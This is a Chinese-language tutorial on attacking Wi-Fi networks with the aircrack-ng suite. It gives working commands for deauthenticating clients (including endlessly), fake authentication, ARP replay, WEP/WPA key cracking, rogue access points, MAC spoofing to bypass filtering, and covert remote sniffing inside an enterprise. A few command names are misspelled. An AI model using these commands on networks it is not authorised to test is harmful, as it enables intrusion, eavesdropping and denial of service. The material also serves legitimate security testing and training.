无线渗透实操 aircrack-ng suite
1. 无线渗透和审计神器:aircrack-suit
- 包含各种功能的工具套件
- 网络监测
- 嗅探抓包
- 包注入
- 密码破解
-------------------------突破网络边界-----------------
0x1 .aircrack-ng基础
service network-manager stop airmon-ng #列出驱动信息、芯片信息 airmon-ng check #监测与该软件可能起冲突的进程,后面直接加kill就行! airmon-ng check kill -----------准备就绪,启动侦听---------- airmon-ng start wlan0 #airmon-ng stop wlan0mon iwconfig iwlist wlan0mon channel #查看监听网口所在的channel
#启动monitor后的mon MAC地址变为前面是真实模式下地址后面为一长串假的00-00-00-00-00-00..
0x2 airodump-ng抓包
有了监听网卡我们既可以抓无线数据包了,当然你可以用wireshark or tcpdump,but这些数据包太多分析太复杂...
这个套件提供了一个专门的抓包工具。
对了,其实上面在开启监听的时候可以加一个信道号指定工作信道:airmon-ng start wlan0 1
开始抓包:
airodump-ng wlan0mon #ctrl+c终止
airodump-ng wlan0mon -c 1 --bssid 00:11:22:33:44:55 -w file.cap #指定信道、AP—MAC 、保存数据包
airodump-ng wlan0mon -c 1 --bssid 00:11:22:33:44:55 -w file.cap --ivs #只保存ivs
#注意这时运行这个命令,即使你指定了信道但是抓包还是会不限于信道而是在所有信道里轮训!
参数解释:
#若bssid是(not associated)而probes的参数就是xxx :意思就是这个客户端以前连过的AP名称即ESSID (隐私泄露)
#附排错信息:
不显示任何AP和STA信息:
- 物理机使用内置无线网卡确保bios已启用
- 确认无线网卡在正常managed模式下正常工作
- 尝试禁用network-manager服务
- 尝试卸载rmmod和重新加载modprobe驱动
工作一段时间后airodump-ng无法继续抓包
- airmon-ng check kill
- 确认wpa_supplicant进程已停止
0x3 aireplay-ng注入
root@kali:~# aireplay-ng Aireplay-ng 1.2 rc4 - (C) 2006-2015 Thomas d'Otreppe http://www.aircrack-ng.org usage: aireplay-ng <options> <replay interface> Filter options: -b bssid : MAC address, Access Point -d dmac : MAC address, Destination -s smac : MAC address, Source -m len : minimum packet length -n len : maximum packet length -u type : frame control, type field -v subt : frame control, subtype field -t tods : frame control, To DS bit -f fromds : frame control, From DS bit -w iswep : frame control, WEP bit -D : disable AP detection Replay options: -x nbpps : number of packets per second -p fctrl : set frame control word (hex) -a bssid : set Access Point MAC address -c dmac : set Destination MAC address -h smac : set Source MAC address -g value : change ring buffer size (default: 8) -F : choose first matching packet Fakeauth attack options: -e essid : set target AP SSID -o npckts : number of packets per burst (0=auto, default: 1) -q sec : seconds between keep-alives -Q : send reassociation requests -y prga : keystream for shared key auth -T n : exit after retry fake auth request n time Arp Replay attack options: -j : inject FromDS packets Fragmentation attack options: -k IP : set destination IP in fragments -l IP : set source IP in fragments Test attack options: -B : activates the bitrate test Source options: -i iface : capture packets from this interface -r file : extract packets from this pcap file Miscellaneous options: -R : disable /dev/rtc usage --ignore-negative-one : if the interface's channel can't be determined, ignore the mismatch, needed for unpatched cfg80211 Attack modes (numbers can still be used): --deauth count : deauthenticate 1 or all stations (-0) --fakeauth delay : fake authentication with AP (-1) --interactive : interactive frame selection (-2) --arpreplay : standard ARP-request replay (-3) --chopchop : decrypt/chopchop WEP packet (-4) --fragment : generates valid keystream (-5) --caffe-latte : query a client for new IVs (-6) --cfrag : fragments against a client (-7) --migmode : attacks WPA migration mode (-8) --test : tests injection and quality (-9) --help : Displays this usage screen
这个命令可以向无线网络中注入数据包:伪造身份验证;强制身份验证;抓包重放
使用方法:
airrplay-ng <options><interface name>
Filter命令选项(除0、1两种模式):过滤数据包用的选项指定
Replay命令选项:重放数据包的选项指定
Aireplay-ng 的 6 种攻击模式详解 -0 Deautenticate 冲突模式 使已经连接的合法客户端强制断开与路由端的连接,使其重新连接。在重新连接过程中获得验证数据包,从而产生有效 ARP request。 如果一个客户端连在路由端上,但是没有人上网以产生有效数据,此时,即使用-3 也无法产生有效 ARP request。所以此时需要用-0 攻击模式配合,-3 攻击才会被立刻激活。 aireplay-ng -0 10 –a <ap mac> -c <my mac> wifi0 参数说明: 【-0】:冲突攻击模式,后面跟发送次数(设置为 0,则为循环攻击,不停的断开连接,客户端无法正常上网) 【-a】:设置 ap 的 mac 【-c】:设置已连接的合法客户端的 mac。 如果不设置-c,则断开所有和 ap 连接的合法客户端。 aireplay-ng -3 -b <ap mac> -h <my mac> wifi0 注:使用此攻击模式的前提是必须有通过认证的合法的客户端连接到路由器 -1 fakeauth count 伪装客户端连接 这种模式是伪装一个客户端和 AP 进行连接。 这步是无客户端的研究学习的第一步,因为是无合法连接的客户端,因此需要一个伪装客户端来和路由器相连。为让 AP 接受数据包,必须使自己的网卡和 AP 关联。如果没有关联的话,目标 AP 将忽略所有从你网卡发送的数据包,IVS 数据将不会产生。 用-1 伪装客户端成功连接以后才能发送注入命令,让路由器接受到注入命令后才可反馈数据从而产生 ARP 包。 aireplay- ng -1 0 –e <ap essid> -a <ap mac> -h <my mac> wifi0 参数说明: 【-1】:伪装客户端连接模式,后面跟延时 【-e】:设置 ap 的 essid 【-a】:设置 ap 的 mac 【-h】:设置伪装客户端的网卡 MAC(即自己网卡 mac) -2 Interactive 交互模式 这种攻击模式是一个抓包和提数据发攻击包,三种集合一起的模式 1.这种模式主要用于研究学习无客户端,先用-1 建立虚假客户端连接然后直接发包攻击 , aireplay-ng -2 -p 0841 -c ff:ff:ff:ff:ff:ff -b <ap mac> -h <my mac> wifi0 参数说明: 【-2】:交互攻击模式 【-p】:设置控制帧中包含的信息(16 进制),默认采用 0841 【-c】:设置目标 mac 地址 【-b】:设置 ap 的 mac 地址 【-h】:设置伪装客户端的网卡 MAC(即自己网卡 mac) 2.提取包,发送注入数据包 aireplay-ng -2 –r <file> -x 1024 wifi0 发包攻击.其中,-x 1024 是限定发包速度,避免网卡死机,可以选择 1024。 -3 ARP-request 注入攻击模式 这种模式是一种抓包后分析重发的过程 这种攻击模式很有效。既可以利用合法客户端,也可以配合-1 利用虚拟连接的伪装客户端。如果有合法客户端那一般需要等几分钟,让合法客户端和 ap 之间通信,少量数据就可产生有效 ARP request 才可利用-3模式注入成功。如果没有任何通信存在,不能得到 ARP request.,则这种攻击就会失败。 如果合法客户端和ap之间长时间内没有 ARP request,可以尝试同时使用-0 攻击. 如果没有合法客户端,则可以利用-1 建立虚拟连接的伪装客户端,连接过程中获得验证数据包,从而产生有效 ARP request。再通过-3 模式注入。 aireplay-ng -3 -b <ap mac> -h <my mac> -x 512 wifi0 参数说明: 【-3】:arp 注入攻击模式 【-b】:设置 ap 的 mac 【-h】:设置 【-x】:定义每秒发送数据户包的数量,但是最高不超过 1024,建议使用 512(也可不定义) -4 Chopchop 攻击模式 用以获得一个包含密钥数据的 xor 文件 这种模式主要是获得一个可利用包含密钥数据的 xor 文件,不能用来解密数据包。而是用它来产生一个新的数据包以便我们可以进行注入。 aireplay-ng -4 -b <ap mac> -h <my mac> wifi0 参数说明: 【-b】:设置需要研究学习的 AP 的 mac 【-h】:设置虚拟伪装连接的 mac(即自己网卡的 mac) -5 fragment 碎片包攻击模式 用以获得 PRGA(包含密钥的后缀为 xor 的文件) 这种模式主要是获得一个可利用 PRGA,这里的 PRGA 并不是 wep key 数据,不能用来解密数据包。而是用它来产生一个新的数据包以便我们可以进行注入。其工作原理就是使目标 AP 重新广播包,当 AP 重广播时,一个新的 IVS 将产生,我们就是利用这个来研究学习 ! aireplay-ng -5 -b <ap mac> -h <my mac> wifi0 【-5】:碎片包攻击模式 【-b】:设置 ap 的 mac 【-h】:设置虚拟伪装连接的 mac(即自己网卡的 mac) Packetforge-ng:数据包制造程序 Packetforge-ng <mode> <options>Mode 【-0】:伪造 ARP 包 packetforge-ng -0 -a <ap mac> -h <my mac> wifi0 –k 255.255.255.255 -l 255.255.255.255–y<.xor file> -w mrarp 参数说明: 【-0】:伪装 arp 数据包 【-a】:设置 ap 的 mac 【-h】设置虚拟伪装连接的 mac(即自己的 mac) 【-k】<ip[:port]>说明:设置目标文件 IP 和端口 【-l】<ip[:port]>说明:设置源文件 IP 和端口 【-y】<file>说明:从 xor 文件中读取 PRGA。后面跟 xor 的文件名。 【-w】设置伪装的 arp 包的文件名 Aircrack-ng:WEP 及 WPA-PSK key 研究学习主程序 Aircrack-ng [optin] <.cap/.ivs file>Optin aircrack-ng -n 64 -b <ap mac> name-01.ivs ) 参数说明: 【-n】:设置 WEP KEY 长度(64/128/152/256/512)aircrack-ng -x -f 2 name-01h.cap 参数说明: 【-x】:设置为暴力研究学习模式 【-f】:设置复杂程度,wep 密码设置为 1,wpa 密码设置为 2 aircrack-ng -w password.txt ciw.cap 【-w】:设置为字典研究学习模式,后面跟字典文件,再后面跟是我们即时保存的那个捕获到 WPA 验证的抓包文件。
基本测试:
例如:-9 是test是否可以注入包---广播包
aireplay-ng -9 wlan0mon
向隐藏AP/指定SSID注入--单播包
aireplay-ng -9 -e lponexr -a EC:2B:3D:4F:2R:4E wlan0mon
#附排错
- aireplay-ng命令挂起无输出:无线网卡与AP工作在不同信道
0x4 airbase-ng 伪造AP
airbase-ng --essid KFC -c 11 wlan0mon #open airbase-ng --essid KFC -c 11 -w key wlan0mon #wep airbase-ng --essid KFC -c 11 -z 2 wlan0mon #wpa1 airbase-ng --essid KFC -c 11 -Z 4 wlan0mon #wpa2
0x5 Mac地址绑定攻击
其实MAC地址绑定不是一种安全机制,如路由器的MAC地址过滤。
可以通过修改MAC绕过过滤。
ifconfig wlan0 down macchanger -m 00:11:22:33:44:55 wlan0 ifconfig wlan0 up ifconfig
#需要注意的是此时两个相同的MAC再同一网段内,同时上网会出现丢包的现象~
root@kali:~# ifconfig wlan0 down root@kali:~# macchanger -m 00:11:22:33:44:55 wlan0 Current MAC: 00:a1:b0:60:45:20 (unknown) Permanent MAC: 00:a1:b0:60:45:20 (unknown) New MAC: 00:11:22:33:44:55 (CIMSYS Inc) root@kali:~# ifconfig wlan0 up root@kali:~# ifconfig eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500 inet 192.168.56.134 netmask 255.255.255.0 broadcast 192.168.56.255 inet6 fe80::20c:29ff:fef0:7b6e prefixlen 64 scopeid 0x20<link> ether 00:0c:29:f0:7b:6e txqueuelen 1000 (Ethernet) RX packets 1273247 bytes 1914796653 (1.7 GiB) RX errors 0 dropped 0 overruns 0 frame 0 TX packets 247430 bytes 15079857 (14.3 MiB) TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0 lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536 inet 127.0.0.1 netmask 255.0.0.0 inet6 ::1 prefixlen 128 scopeid 0x10<host> loop txqueuelen 1000 (Local Loopback) RX packets 42 bytes 2478 (2.4 KiB) RX errors 0 dropped 0 overruns 0 frame 0 TX packets 42 bytes 2478 (2.4 KiB) TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0 wlan0: flags=4099<UP,BROADCAST,MULTICAST> mtu 1500 ether 00:11:22:33:44:55 txqueuelen 1000 (Ethernet) RX packets 0 bytes 0 (0.0 B) RX errors 0 dropped 0 overruns 0 frame 0 TX packets 0 bytes 0 (0.0 B) TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0 root@kali:~#
补充一些不是很常用的命令:
1.airdecap-ng
被wep和wpa加密的数据包我们用wireshark只能看到802.11协议,里面我的数据都被加密了,用就这个命令就可解密里面的部分数据生成1-dec.cap,用抓包工具看起来更舒适~
解密WEP加密数据
aidecap-ng -w <WEP key> -b <AP MAC> 1.pcap
必须有与AP建立关联关系
解密WPA加密数据
airdecap-ng -e kifi -p <PSK> -b <AP MAC> 1.pcap
抓包文件中必须包含4步握手信息,否则无解
2.airserv-ng
可以将你的无线网卡作为远程服务器,远程监听这个网卡。就是使用网络提供无线网卡服务器(有的网卡不支持),启动无线侦听
使用场景:黑客将网卡放到企业内部,远程监听
服务器端:
airserv-ng -p 3333 -d wlan0mon
客户端:
airodump-ng 192.168.1.1:3333
# 注意某些防火墙可能会影响C/S间的通信
3.airtun-ng
无线入侵检测wIDS
- 无线密码和BSSID
- 需要获取握手信息
snort开源ids,发现入侵的异常流量
类似交换机的镜像接口,airtun-ng形成隧道端口,可以把无线的所有流量都镜像到隧道接口上,再在隧道接口连一个IDS系统(或者直接抓包重放到ids)
把所有AP与客户端的流量都拷贝一份。
#wep: airtun-ng -a <AP MAC> -w SKA wlan0mon #wpa airtun-ng -a <AP MAC> -p PSK -e KFC-FREE wlan0mon ifconfig at0 up #需要四步握手
中继和重放
Repeate/Replay
Repeate • WDS/Bridge • 扩展无线侦听的距离 • 要求两块网卡都置为monitor模式 • airtun-ng -a <AP MAC> --repeat --bssid <AP MAC> -i wlan0mon wlan2mon • wlan0mon:收包网卡 • wlan2mon: 发包网卡 • -a:发包的源地址 • --bssid:过滤只发指定源地址的包(可选)
Replay
• 将抓取的CAP文件重放到指定网卡
• airtun-ng -a <Source MAC> -r 1.cap <interface>
4.besside-ng
只针对wpa发Deauthentication,类似aireplay-ng
5.fern-wifi-cracker
图形化的aircrack-ng